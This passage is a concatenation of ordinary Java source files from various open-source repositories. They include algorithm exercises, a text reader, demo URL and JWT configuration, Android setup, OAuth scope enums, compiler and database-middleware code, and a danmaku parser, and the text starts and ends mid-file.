of the small pieces */ public int woodCut(int[] L, int k) { if (L == null || L.length == 0 || k < 0) { return 0; } int m = L.length; int max = 0; for (int i = 0; i < m; i++) { max = Math.max(max, L[i]); } int start = 0; int end = max; while (start + 1 < end) { int mid = start + (end - start) / 2; if (validate(mid, k, L) && mid + 1 < max && !validate(mid + 1, k , L)) { return mid; } else if (validate(mid, k, L)) { start = mid; } else { end = mid; } } if (validate(end, k , L)) { return end; } else { return start; } } private boolean validate(int size, int k, int[] L) { int count = 0; for (int length : L) { count += length / size; } return count >= k; } } ```
awangdev/leet-code
Java/Wood Cut.java
9
package org.ansj.util; import java.io.IOException; import java.io.Reader; /** * 我又剽窃了下jdk...职业嫖客 为了效率这个流的操作是不支持多线程的,要么就是长时间不写这种东西了。发现好费劲啊 这个reader的特点。。只会输入 * 句子不会输出\r\n .会有一个start来记录当前返回字符串。起始偏移量 * * @author ansj * */ public class AnsjReader extends Reader { private Reader in; private char cb[]; private static int defaultCharBufferSize = 8192; /** * Creates a buffering character-input stream that uses an input buffer of * the specified size. * * @param in * A Reader * @param sz * Input-buffer size * * @exception IllegalArgumentException * If {@code sz <= 0} */ public AnsjReader(Reader in, int sz) { super(in); if (sz <= 0) { throw new IllegalArgumentException("Buffer size <= 0"); } this.in = in; cb = new char[sz]; } /** * Creates a buffering character-input stream that uses a default-sized * input buffer. * * @param in * A Reader */ public AnsjReader(Reader in) { this(in, defaultCharBufferSize); } /** Checks to make sure that the stream has not been closed */ private void ensureOpen() throws IOException { if (in == null) { throw new IOException("Stream closed"); } } /** * 为了功能的单一性我还是不实现了 */ @Override public int read(char cbuf[], int off, int len) throws IOException { throw new IOException("AnsjBufferedReader not support this interface! "); } private int start = 0; private int tempStart = 0; /** * 读取一行数据。ps 读取结果会忽略 \n \r */ public String readLine() throws IOException { ensureOpen(); StringBuilder sb = null; start = tempStart; firstRead = true; while (true) { tempLen = 0; ok = false; readString(); // if (tempLen != 0) // System.out.println(new String(cb, tempOffe, tempLen)); if (!isRead && (tempLen == 0 || len == 0)) { if (sb != null) { return sb.toString(); } return null; } if (!isRead) { // 如果不是需要读状态,那么返回 tempStart += tempLen; if (sb == null) { return new String(cb, tempOffe, tempLen); } else { sb.append(cb, tempOffe, tempLen); return sb.toString(); } } if (tempLen == 0) { continue; } // 如果是需要读状态那么读取 if (sb == null) { sb = new StringBuilder(); } sb.append(cb, tempOffe, tempLen); tempStart += tempLen; } } int offe = 0; int len = 0; boolean isRead = false; boolean ok = false; boolean firstRead = true; int tempOffe; int tempLen; private void readString() throws IOException { if (offe <= 0) { if (offe == -1) { isRead = false; return; } len = in.read(cb); if (len <= 0) { // 说明到结尾了 isRead = false; return; } } isRead = true; char c = 0; int i = offe; for (; i < len; i++) { c = cb[i]; if (c != '\r' && c != '\n') { break; } if (!firstRead) { i++; tempStart++; offe = i; tempOffe = offe; isRead = false; return; } tempStart++; start++; } if (i == len) { isRead = true; offe = 0; return; } firstRead = false; offe = i; for (; i < len; i++) { c = cb[i]; if (c == '\n' || c == '\r') { isRead = false; break; } } tempOffe = offe; tempLen = i - offe; if (i == len) { if (len < cb.length) { // 说明到结尾了 isRead = false; offe = -1; } else { offe = 0; } } else { offe = i; } } @Override public void close() throws IOException { synchronized (lock) { if (in == null) { return; } try { in.close(); } finally { in = null; cb = null; } } } public int getStart() { return this.start; } }
NLPchina/ansj_seg
src/main/java/org/ansj/util/AnsjReader.java
10
/* * Copyright 2016 jeasonlzy(廖子尧) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.lzy.demo.utils; /** * ================================================ * 作 者:jeasonlzy(廖子尧) * 版 本:1.0 * 创建日期:2016/4/6 * 描 述:我的Github地址 https://github.com/jeasonlzy * 修订历史: * ================================================ */ public class Urls { public static final String SERVER = "http://server.jeasonlzy.com/OkHttpUtils/"; // public static final String SERVER = "http://192.168.1.121:8080/OkHttpUtils/"; public static final String URL_METHOD = SERVER + "method"; public static final String URL_CACHE = SERVER + "cache"; public static final String URL_IMAGE = SERVER + "image"; public static final String URL_JSONOBJECT = SERVER + "jsonObject"; public static final String URL_JSONARRAY = SERVER + "jsonArray"; public static final String URL_FORM_UPLOAD = SERVER + "upload"; public static final String URL_TEXT_UPLOAD = SERVER + "uploadString"; public static final String URL_DOWNLOAD = SERVER + "download"; public static final String URL_REDIRECT = SERVER + "redirect"; public static final String URL_GANK_BASE = "http://gank.io/api/data/"; }
jeasonlzy/okhttp-OkGo
demo/src/main/java/com/lzy/demo/utils/Urls.java
11
package com.xkcoding.rbac.security.config; import lombok.Data; import org.springframework.boot.context.properties.ConfigurationProperties; /** * <p> * JWT 配置 * </p> * * @author yangkai.shen * @date Created in 2018-12-07 13:42 */ @ConfigurationProperties(prefix = "jwt.config") @Data public class JwtConfig { /** * jwt 加密 key,默认值:xkcoding. */ private String key = "xkcoding"; /** * jwt 过期时间,默认值:600000 {@code 10 分钟}. */ private Long ttl = 600000L; /** * 开启 记住我 之后 jwt 过期时间,默认值 604800000 {@code 7 天} */ private Long remember = 604800000L; }
xkcoding/spring-boot-demo
demo-rbac-security/src/main/java/com/xkcoding/rbac/security/config/JwtConfig.java
12
package com.blankj.base; import android.app.Application; import android.content.Context; import androidx.multidex.MultiDex; import com.blankj.utilcode.util.AppUtils; import com.blankj.utilcode.util.CrashUtils; import com.blankj.utilcode.util.LogUtils; import com.blankj.utilcode.util.ProcessUtils; import com.blankj.utildebug.DebugUtils; import com.blankj.utildebug.debug.IDebug; import java.util.ArrayList; /** * <pre> * author: Blankj * blog : http://blankj.com * time : 2018/11/16 * desc : base about application * </pre> */ public class BaseApplication extends Application { private static BaseApplication sInstance; public static BaseApplication getInstance() { return sInstance; } private Boolean isDebug; private Boolean isMainProcess; @Override protected void attachBaseContext(Context base) { super.attachBaseContext(base); MultiDex.install(this); } @Override public void onCreate() { super.onCreate(); sInstance = this; initLog(); initCrash(); initDebugMenu(); } // init it in ur application public void initLog() { LogUtils.Config config = LogUtils.getConfig() .setLogSwitch(isDebug())// 设置 log 总开关,包括输出到控制台和文件,默认开 .setConsoleSwitch(isDebug())// 设置是否输出到控制台开关,默认开 .setGlobalTag(null)// 设置 log 全局标签,默认为空 // 当全局标签不为空时,我们输出的 log 全部为该 tag, // 为空时,如果传入的 tag 为空那就显示类名,否则显示 tag .setLogHeadSwitch(true)// 设置 log 头信息开关,默认为开 .setLog2FileSwitch(false)// 打印 log 时是否存到文件的开关,默认关 .setDir("")// 当自定义路径为空时,写入应用的/cache/log/目录中 .setFilePrefix("")// 当文件前缀为空时,默认为"util",即写入文件为"util-yyyy-MM-dd$fileExtension" .setFileExtension(".log")// 设置日志文件后缀 .setBorderSwitch(true)// 输出日志是否带边框开关,默认开 .setSingleTagSwitch(true)// 一条日志仅输出一条,默认开,为美化 AS 3.1 的 Logcat .setConsoleFilter(LogUtils.V)// log 的控制台过滤器,和 logcat 过滤器同理,默认 Verbose .setFileFilter(LogUtils.V)// log 文件过滤器,和 logcat 过滤器同理,默认 Verbose .setStackDeep(1)// log 栈深度,默认为 1 .setStackOffset(0)// 设置栈偏移,比如二次封装的话就需要设置,默认为 0 .setSaveDays(3)// 设置日志可保留天数,默认为 -1 表示无限时长 // 新增 ArrayList 格式化器,默认已支持 Array, Throwable, Bundle, Intent 的格式化输出 .addFormatter(new LogUtils.IFormatter<ArrayList>() { @Override public String format(ArrayList arrayList) { return "LogUtils Formatter ArrayList { " + arrayList.toString() + " }"; } }) .addFileExtraHead("ExtraKey", "ExtraValue"); LogUtils.i(config.toString()); } private void initCrash() { CrashUtils.init(new CrashUtils.OnCrashListener() { @Override public void onCrash(CrashUtils.CrashInfo crashInfo) { crashInfo.addExtraHead("extraKey", "extraValue"); LogUtils.e(crashInfo.toString()); AppUtils.relaunchApp(); } }); } private void initDebugMenu() { DebugUtils.addDebugs(new ArrayList<IDebug>()); } private boolean isDebug() { if (isDebug == null) isDebug = AppUtils.isAppDebug(); return isDebug; } public boolean isMainProcess() { if (isMainProcess == null) isMainProcess = ProcessUtils.isMainProcess(); return isMainProcess; } }
Blankj/AndroidUtilCode
lib/base/src/main/java/com/blankj/base/BaseApplication.java
13
/** Half width Katakana variants (FF00 - <TYPO>FFEF</TYPO>) * ワタシハジャバガスキデス。 */ /** Full width ASCII variants (FF00 - <TYPO>FFEF</TYPO>) * I LOVE JAVA */ /** Hiragana (3040 - 309F) * わたしはじゃばがすきです。 */ /** Katakana (30A0 - 30FF) * ワタシハジャバガスキデス。 */ /** CJK Unified Ideographs (4E00 - 9FBF) * 我愛爪哇 */ /** CJK Compatibility Ideographs (F900 - FAFF) * 﨎鶴﨎鶴﨎鶴 */ /* 私は<TYPO>Jaba</TYPO>が好きです。私は<TYPO>Jaba</TYPO>が好きです。*/ /** * プロセス毎に使われるコールスタックは一つだけ !!! */ class TestClassForCJKComments {}
JetBrains/intellij-community
plugins/java-i18n/testData/inspections/spellchecker/Japanese.java
14
package me.zhyd.oauth.enums.scope; import lombok.AllArgsConstructor; import lombok.Getter; /** * 微博平台 OAuth 授权范围 * * @author yadong.zhang (yadong.zhang0415(a)gmail.com) * @version 1.0.0 * @since 1.0.0 */ @Getter @AllArgsConstructor public enum AuthWeiboScope implements AuthScope { /** * {@code scope} 含义,以{@code description} 为准 */ ALL("all", "获取所有权限", true), EMAIL("email", "用户的联系邮箱,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/2/account/profile/email\">接口文档</a>", false), DIRECT_MESSAGES_WRITE("direct_messages_write", "私信发送接口,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/C/2/direct_messages/send\">接口文档</a>", false), DIRECT_MESSAGES_READ("direct_messages_read", "私信读取接口,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/C/2/direct_messages\">接口文档</a>", false), INVITATION_WRITE("invitation_write", "邀请发送接口,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/Messages#.E5.A5.BD.E5.8F.8B.E9.82.80.E8.AF.B7\">接口文档</a>", false), FRIENDSHIPS_GROUPS_READ("friendships_groups_read", "好友分组读取接口组,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/API%E6%96%87%E6%A1%A3_V2#.E5.A5.BD.E5.8F.8B.E5.88.86.E7.BB.84\">接口文档</a>", false), FRIENDSHIPS_GROUPS_WRITE("friendships_groups_write", "好友分组写入接口组,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/API%E6%96%87%E6%A1%A3_V2#.E5.A5.BD.E5.8F.8B.E5.88.86.E7.BB.84\">接口文档</a>", false), STATUSES_TO_ME_READ("statuses_to_me_read", "定向微博读取接口组,<a rel=\"nofollow\" href=\"http://open.weibo.com/wiki/API%E6%96%87%E6%A1%A3_V2#.E5.BE.AE.E5.8D.9A\">接口文档</a>", false), FOLLOW_APP_OFFICIAL_MICROBLOG("follow_app_official_microblog", "关注应用官方微博,该参数不对应具体接口,只需在应用控制台填写官方帐号即可。填写的路径:我的应用-选择自己的应用-应用信息-基本信息-官方运营账号(默认值是应用开发者帐号)", false); private final String scope; private final String description; private final boolean isDefault; }
justauth/JustAuth
src/main/java/me/zhyd/oauth/enums/scope/AuthWeiboScope.java
15
package dshomewrok; import java.util.*; /*ZigZagging on a Tree */ public class Zigzagtree { public static class TreeNode { int val; TreeNode left; TreeNode right; TreeNode(int x) { val = x; } } private static int find(int[] array, int v) { for (int i = 0; i < array.length; i++) { if (array[i] == v) { return i; } } return -1; } public static void main(String[] args) { int n = 0; int i = 0,j = 0; Scanner sc = new Scanner(System.in); n = sc.nextInt(); int[] arr1,arr2; arr1 = new int[n]; // inorder arr2 = new int[n]; // postorder for(i = 0;i < arr1.length;i++) { arr1[i] = sc.nextInt(); } for(i = 0;i < arr2.length;i++) { arr2[i] = sc.nextInt(); } sc.close(); TreeNode root1 = BuildTree(arr1,arr2); } /*build a Tree from postorder and inorder 后序遍历的最后一个数为根结点,根据这个根结点来划分中序遍历,将其分为左子树和右子树 ②确定左右子树的中序遍历和后遍历中的界限,中序从0 - root为左, root+1 到最后为右. 后序0-root为左,root到postOrder.length-1 为右. ③递归调用 */ public static TreeNode BuildTree(int[] inOrder, int[] postOrder ) { if(postOrder.length == 0) { return null; } if(postOrder.length == 1) { TreeNode tmp = new TreeNode(postOrder[postOrder.length-1]); return tmp; } TreeNode root = new TreeNode(postOrder[postOrder.length-1]); //先判断特殊,再new 一个. int rootpos = find(inOrder,root.val); int[] leftInorder = Arrays.copyOfRange(inOrder, 0, rootpos); //copyOfRange 包括0 不包括rootpos. int[] rightInorder = Arrays.copyOfRange(inOrder, rootpos+1, inOrder.length); //System.out.println(rootpos); //System.out.println(Arrays.toString(rightInorder)); //System.out.println(Arrays.toString(leftInorder)); //不能直接打印数组要tostring int[] leftPostorder = Arrays.copyOfRange(postOrder, 0, rootpos); int[] rightPostorder = Arrays.copyOfRange(postOrder, rootpos, postOrder.length-1);; //System.out.println(Arrays.toString(leftPostorder)); //System.out.println(Arrays.toString(rightPostorder)); root.left = BuildTree(leftInorder,leftPostorder); root.right = BuildTree(rightInorder,rightPostorder); return root; } /*要进行层次遍历,需要建立一个循环队列。先将二叉树头结点入队列,然后出队列,访问该结点,如果它有左子树 则将左子树的根结点入队:如果它有右子树,则将右子树的根结点入队。然后出队列,对出队结点访问,如此反复,直到队列为空为止。 z字形层次遍历是对层次遍历加上了一个限制条件(即相邻层,从左到右的遍历顺序相反), 我们取queue大小,就是上一层的结点数. for循环把这一层都加入进去,如果奇数层就第一个结点开始(因为上一层是偶数)先加右再加左. 如果偶数层就最后结点开始(因为上一层是奇数)先加左再加右. 一层结束深度增加,同时用一个栈,因为遍历下一层的数据 和输出这一层的数据 是刚好相反的.. data arraylist是因为他最后不要空格, 所以全部保存了再输出. 不然stack其实就有正确答案了,最后多一个空格. */ public static void zigzagorder(JudgeRedBlackTree.TreeNode root ) { ArrayDeque<JudgeRedBlackTree.TreeNode> queue = new ArrayDeque<JudgeRedBlackTree.TreeNode>(32); ArrayList<Integer> data = new ArrayList<Integer>(32); //no int but Integer JudgeRedBlackTree.TreeNode temp = root; Stack<JudgeRedBlackTree.TreeNode> res = new Stack<JudgeRedBlackTree.TreeNode>(); // 就是把他 queue.add(temp); int depth = 0 ,i = 0; while(!queue.isEmpty()){ int size = queue.size(); for(i =0;i<size;i++) { if(depth %2 == 0) { temp = queue.pollLast(); if(temp.left != null) { queue.addFirst(temp.left); } if(temp.right != null){ queue.addFirst(temp.right); } } else { temp = queue.poll(); if(temp.right != null){ queue.add(temp.right); } if(temp.left != null) { queue.add(temp.left); } } res.push(temp); } while(!res.empty()) data.add(res.pop().val); depth ++; } for(i = 0;i<data.size()-1;i++) { System.out.print(data.get(i)+" "); } System.out.print(data.get(i)); } }
QSCTech/zju-icicles
数据结构基础/作业/dsHomework/tree/Zigzagtree.java
16
package decaf.frontend; import java.util.List; import decaf.Location; import decaf.tree.Tree; import decaf.tree.Tree.ClassDef; import decaf.tree.Tree.Expr; import decaf.tree.Tree.GuardedES; import decaf.tree.Tree.MethodDef; import decaf.tree.Tree.LValue; import decaf.tree.Tree.TopLevel; import decaf.tree.Tree.VarDef; import decaf.tree.Tree.TypeLiteral; import decaf.utils.MiscUtils; public class SemValue { public int code; public Location loc; public int typeTag; public Object literal; public String ident; public List<ClassDef> clist; /** * field list */ public List<Tree> flist; public List<VarDef> vlist; /** * statement list */ public List<Tree> slist; public List<Expr> elist; // no.4 public List<GuardedES> myList; public TopLevel prog; public ClassDef cdef; public VarDef vdef; public MethodDef fdef; public TypeLiteral type; public Tree stmt; public Expr expr; public LValue lvalue; public GuardedES guardedES; /** * 创建一个关键字的语义值 * * @param code * 关键字的代表码 * @return 对应关键字的语义值 */ public static SemValue createKeyword(int code) { SemValue v = new SemValue(); v.code = code; return v; } /** * 创建一个操作符的语义值 * * @param code * 操作符的代表码 * @return 对应操作符的语义值 */ public static SemValue createOperator(int code) { SemValue v = new SemValue(); v.code = code; return v; } /** * 创建一个常量的语义值 * * @param value * 常量的值 * @return 对应的语义值 */ public static SemValue createLiteral(int tag, Object value) { SemValue v = new SemValue(); v.code = Parser.LITERAL; v.typeTag = tag; v.literal = value; return v; } /** * 创建一个标识符的语义值 * * @param name * 标识符的名字 * @return 对应的语义值(标识符名字存放在sval域) */ public static SemValue createIdentifier(String name) { SemValue v = new SemValue(); v.code = Parser.IDENTIFIER; v.ident = name; return v; } /** * 获取这个语义值的字符串表示<br> * * 我们建议你在构造词法分析器之前先阅读一下这个函数。 */ public String toString() { String msg; switch (code) { // 关键字 case Parser.BOOL: msg = "keyword : bool"; break; case Parser.BREAK: msg = "keyword : break"; break; case Parser.CLASS: msg = "keyword : class"; break; case Parser.ELSE: msg = "keyword : else"; break; case Parser.EXTENDS: msg = "keyword : extends"; break; case Parser.FOR: msg = "keyword : for"; break; case Parser.IF: msg = "keyword : if"; break; case Parser.INT: msg = "keyword : int"; break; case Parser.INSTANCEOF: msg = "keyword : instanceof"; break; case Parser.NEW: msg = "keyword : new"; break; case Parser.NULL: msg = "keyword : null"; break; case Parser.PRINT: msg = "keyword : Print"; break; case Parser.READ_INTEGER: msg = "keyword : ReadInteger"; break; case Parser.READ_LINE: msg = "keyword : ReadLine"; break; case Parser.RETURN: msg = "keyword : return"; break; case Parser.STRING: msg = "keyword : string"; break; case Parser.THIS: msg = "keyword : this"; break; case Parser.VOID: msg = "keyword : void"; break; case Parser.WHILE: msg = "keyword : while"; break; case Parser.STATIC: msg = "keyword : static"; break; // 常量 case Parser.LITERAL: switch (typeTag) { case Tree.INT: case Tree.BOOL: msg = "constant : " + literal; break; default: msg = "constant : " + MiscUtils.quote((String)literal); } break; // 标识符 case Parser.IDENTIFIER: msg = "identifier: " + ident; break; // 操作符 case Parser.AND: msg = "operator : &&"; break; case Parser.EQUAL: msg = "operator : =="; break; case Parser.GREATER_EQUAL: msg = "operator : >="; break; case Parser.LESS_EQUAL: msg = "operator : <="; break; case Parser.NOT_EQUAL: msg = "operator : !="; break; case Parser.OR: msg = "operator : ||"; break; default: msg = "operator : " + (char) code; break; } return (String.format("%-15s%s", loc, msg)); } }
PKUanonym/REKCARC-TSC-UHT
大三上/编译原理/hw/2015_刘智峰_PA/PA2/src/decaf/frontend/SemValue.java
17
/* * Copyright (c) 2020, OpenCloudDB/MyCAT and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software;Designed and Developed mainly by many Chinese * opensource volunteers. you can redistribute it and/or modify it under the * terms of the GNU General Public License version 2 only, as published by the * Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Any questions about this component can be directed to it's project Web address * https://code.google.com/p/opencloudb/. * */ package io.mycat.config; import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Set; import io.mycat.config.loader.zkprocess.comm.ZkConfig; import io.mycat.config.loader.zkprocess.comm.ZkParamCfg; import org.apache.log4j.Logger; import io.mycat.backend.datasource.PhysicalDBNode; import io.mycat.backend.datasource.PhysicalDBPool; import io.mycat.backend.datasource.PhysicalDatasource; import io.mycat.backend.jdbc.JDBCDatasource; import io.mycat.backend.mysql.nio.MySQLDataSource; import io.mycat.backend.postgresql.PostgreSQLDataSource; import io.mycat.config.loader.ConfigLoader; import io.mycat.config.loader.SchemaLoader; import io.mycat.config.loader.xml.XMLConfigLoader; import io.mycat.config.loader.xml.XMLSchemaLoader; import io.mycat.config.model.DBHostConfig; import io.mycat.config.model.DataHostConfig; import io.mycat.config.model.DataNodeConfig; import io.mycat.config.model.FirewallConfig; import io.mycat.config.model.SchemaConfig; import io.mycat.config.model.SystemConfig; import io.mycat.config.model.UserConfig; import io.mycat.config.util.ConfigException; import io.mycat.route.sequence.handler.DistributedSequenceHandler; import io.mycat.route.sequence.handler.IncrSequenceMySQLHandler; import io.mycat.route.sequence.handler.IncrSequenceTimeHandler; import io.mycat.route.sequence.handler.IncrSequenceZKHandler; /** * @author mycat */ public class ConfigInitializer { private static final Logger LOGGER = Logger.getLogger( ConfigInitializer.class ); private volatile SystemConfig system; private volatile MycatCluster cluster; private volatile FirewallConfig firewall; private volatile Map<String, UserConfig> users; private volatile Map<String, SchemaConfig> schemas; private volatile Map<String, PhysicalDBNode> dataNodes; private volatile Map<String, PhysicalDBPool> dataHosts; public ConfigInitializer(boolean loadDataHost) { //读取rule.xml和schema.xml SchemaLoader schemaLoader = new XMLSchemaLoader(); //读取server.xml XMLConfigLoader configLoader = new XMLConfigLoader(schemaLoader); schemaLoader = null; //加载配置 this.system = configLoader.getSystemConfig(); this.users = configLoader.getUserConfigs(); this.schemas = configLoader.getSchemaConfigs(); //是否重新加载DataHost和对应的DataNode if (loadDataHost) { this.dataHosts = initDataHosts(configLoader); this.dataNodes = initDataNodes(configLoader); } //权限管理 this.firewall = configLoader.getFirewallConfig(); this.cluster = initCobarCluster(configLoader); //不同类型的全局序列处理器的配置加载 if (system.getSequenceHandlerType() == SystemConfig.SEQUENCEHANDLER_MYSQLDB) { IncrSequenceMySQLHandler.getInstance().load(); } if (system.getSequenceHandlerType() == SystemConfig.SEQUENCEHANDLER_LOCAL_TIME) { IncrSequenceTimeHandler.getInstance().load(); } if (system.getSequenceHandlerType() == SystemConfig.SEQUENCEHANDLER_ZK_DISTRIBUTED) { DistributedSequenceHandler.getInstance(system).load(); } if (system.getSequenceHandlerType() == SystemConfig.SEQUENCEHANDLER_ZK_GLOBAL_INCREMENT) { IncrSequenceZKHandler.getInstance().load(); } /** * 配置文件初始化, 自检 */ this.selfChecking0(); } private void selfChecking0() throws ConfigException { // 检查user与schema配置对应以及schema配置不为空 if (users == null || users.isEmpty()) { throw new ConfigException("SelfCheck### user all node is empty!"); } else { for (UserConfig uc : users.values()) { if (uc == null) { throw new ConfigException("SelfCheck### users node within the item is empty!"); } Set<String> authSchemas = uc.getSchemas(); if (authSchemas == null) { throw new ConfigException("SelfCheck### user " + uc.getName() + "refered schemas is empty!"); } for (String schema : authSchemas) { if ( !schemas.containsKey(schema) ) { String errMsg = "SelfCheck### schema " + schema + " refered by user " + uc.getName() + " is not exist!"; throw new ConfigException(errMsg); } } } } // schema 配置检测 for (SchemaConfig sc : schemas.values()) { if (null == sc) { throw new ConfigException("SelfCheck### schema all node is empty!"); } else { // check dataNode / dataHost 节点 if ( this.dataNodes != null && this.dataHosts != null ) { Set<String> dataNodeNames = sc.getAllDataNodes(); for(String dataNodeName: dataNodeNames) { PhysicalDBNode node = this.dataNodes.get(dataNodeName); if ( node == null ) { throw new ConfigException("SelfCheck### schema dbnode is empty!"); } } } } } } public void testConnection() { // 实际链路的连接测试 if ( this.dataNodes != null && this.dataHosts != null ) { Map<String, Boolean> map = new HashMap<String, Boolean>(); for(PhysicalDBNode dataNode: dataNodes.values() ) { String database = dataNode.getDatabase(); PhysicalDBPool pool = dataNode.getDbPool(); for (PhysicalDatasource ds : pool.getAllDataSources()) { String key = ds.getName() + "_" + database; if ( map.get( key ) == null ) { map.put( key, false ); boolean isConnected = false; try { isConnected = ds.testConnection( database ); map.put( key, isConnected ); } catch (IOException e) { LOGGER.warn("test conn error:", e); } } } } // boolean isConnectivity = true; for (Map.Entry<String, Boolean> entry : map.entrySet()) { String key = entry.getKey(); Boolean value = entry.getValue(); if ( !value && isConnectivity ) { LOGGER.warn("SelfCheck### test " + key + " database connection failed "); isConnectivity = false; } else { LOGGER.info("SelfCheck### test " + key + " database connection success "); } } if ( !isConnectivity ) { throw new ConfigException("SelfCheck### there are some datasource connection failed, pls check!"); } } } public SystemConfig getSystem() { return system; } public MycatCluster getCluster() { return cluster; } public FirewallConfig getFirewall() { return firewall; } public Map<String, UserConfig> getUsers() { return users; } public Map<String, SchemaConfig> getSchemas() { return schemas; } public Map<String, PhysicalDBNode> getDataNodes() { return dataNodes; } public Map<String, PhysicalDBPool> getDataHosts() { return this.dataHosts; } private MycatCluster initCobarCluster(ConfigLoader configLoader) { return new MycatCluster(configLoader.getClusterConfig()); } private Map<String, PhysicalDBPool> initDataHosts(ConfigLoader configLoader) { Map<String, DataHostConfig> nodeConfs = configLoader.getDataHosts(); boolean isBooster="booster".equalsIgnoreCase(ZkConfig.getInstance().getValue(ZkParamCfg.MYCAT_SERVER_TYPE) ) ; //根据DataHost建立PhysicalDBPool,其实就是实际数据库连接池,每个DataHost对应一个PhysicalDBPool Map<String, PhysicalDBPool> nodes = new HashMap<String, PhysicalDBPool>( nodeConfs.size()); for (DataHostConfig conf : nodeConfs.values()) { if(isBooster){ conf.setMinCon(2); } //建立PhysicalDBPool PhysicalDBPool pool = getPhysicalDBPool(conf, configLoader); nodes.put(pool.getHostName(), pool); } return nodes; } private PhysicalDatasource[] createDataSource(DataHostConfig conf, String hostName, String dbType, String dbDriver, DBHostConfig[] nodes, boolean isRead) { PhysicalDatasource[] dataSources = new PhysicalDatasource[nodes.length]; if (dbType.equals("mysql") && dbDriver.equals("native")) { for (int i = 0; i < nodes.length; i++) { //设置最大idle时间,默认为30分钟 nodes[i].setIdleTimeout(system.getIdleTimeout()); MySQLDataSource ds = new MySQLDataSource(nodes[i], conf, isRead); dataSources[i] = ds; } } else if (dbDriver.equals("jdbc")) { for (int i = 0; i < nodes.length; i++) { nodes[i].setIdleTimeout(system.getIdleTimeout()); JDBCDatasource ds = new JDBCDatasource(nodes[i], conf, isRead); dataSources[i] = ds; } } else if ("postgresql".equalsIgnoreCase(dbType) && dbDriver.equalsIgnoreCase("native")){ for (int i = 0; i < nodes.length; i++) { nodes[i].setIdleTimeout(system.getIdleTimeout()); PostgreSQLDataSource ds = new PostgreSQLDataSource(nodes[i], conf, isRead); dataSources[i] = ds; } } else{ throw new ConfigException("not supported yet !" + hostName); } return dataSources; } private PhysicalDBPool getPhysicalDBPool(DataHostConfig conf, ConfigLoader configLoader) { String name = conf.getName(); //数据库类型,我们这里只讨论MySQL String dbType = conf.getDbType(); //连接数据库驱动,我们这里只讨论MyCat自己实现的native String dbDriver = conf.getDbDriver(); //针对所有写节点创建PhysicalDatasource PhysicalDatasource[] writeSources = createDataSource(conf, name, dbType, dbDriver, conf.getWriteHosts(), false); Map<Integer, DBHostConfig[]> readHostsMap = conf.getReadHosts(); Map<Integer, PhysicalDatasource[]> readSourcesMap = new HashMap<Integer, PhysicalDatasource[]>( readHostsMap.size()); //对于每个读节点建立key为writeHost下标value为readHost的PhysicalDatasource[]的哈希表 for (Map.Entry<Integer, DBHostConfig[]> entry : readHostsMap.entrySet()) { PhysicalDatasource[] readSources = createDataSource(conf, name, dbType, dbDriver, entry.getValue(), true); readSourcesMap.put(entry.getKey(), readSources); } PhysicalDBPool pool = new PhysicalDBPool(conf.getName(), conf, writeSources, readSourcesMap, conf.getBalance(), conf.getWriteType()); pool.setSlaveIDs(conf.getSlaveIDs()); return pool; } private Map<String, PhysicalDBNode> initDataNodes(ConfigLoader configLoader) { Map<String, DataNodeConfig> nodeConfs = configLoader.getDataNodes(); Map<String, PhysicalDBNode> nodes = new HashMap<String, PhysicalDBNode>( nodeConfs.size()); for (DataNodeConfig conf : nodeConfs.values()) { PhysicalDBPool pool = this.dataHosts.get(conf.getDataHost()); if (pool == null) { throw new ConfigException("dataHost not exists " + conf.getDataHost()); } PhysicalDBNode dataNode = new PhysicalDBNode(conf.getName(), conf.getDatabase(), pool); nodes.put(dataNode.getName(), dataNode); } return nodes; } }
MyCATApache/Mycat-Server
src/main/java/io/mycat/config/ConfigInitializer.java
18
/* * Copyright (C) 2013 Chen Hui <calmer91@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.sample; import android.graphics.Color; import android.text.TextUtils; import org.json.JSONArray; import org.json.JSONException; import org.xml.sax.Attributes; import org.xml.sax.InputSource; import org.xml.sax.SAXException; import org.xml.sax.XMLReader; import org.xml.sax.helpers.DefaultHandler; import org.xml.sax.helpers.XMLReaderFactory; import java.io.IOException; import java.util.Locale; import master.flame.danmaku.danmaku.model.AlphaValue; import master.flame.danmaku.danmaku.model.BaseDanmaku; import master.flame.danmaku.danmaku.model.Duration; import master.flame.danmaku.danmaku.model.IDisplayer; import master.flame.danmaku.danmaku.model.SpecialDanmaku; import master.flame.danmaku.danmaku.model.android.Danmakus; import master.flame.danmaku.danmaku.parser.BaseDanmakuParser; import master.flame.danmaku.danmaku.model.android.DanmakuFactory; import master.flame.danmaku.danmaku.parser.android.AndroidFileSource; import master.flame.danmaku.danmaku.util.DanmakuUtils; import static master.flame.danmaku.danmaku.model.IDanmakus.ST_BY_TIME; public class BiliDanmukuParser extends BaseDanmakuParser { static { System.setProperty("org.xml.sax.driver", "org.xmlpull.v1.sax2.Driver"); } protected float mDispScaleX; protected float mDispScaleY; @Override public Danmakus parse() { if (mDataSource != null) { AndroidFileSource source = (AndroidFileSource) mDataSource; try { 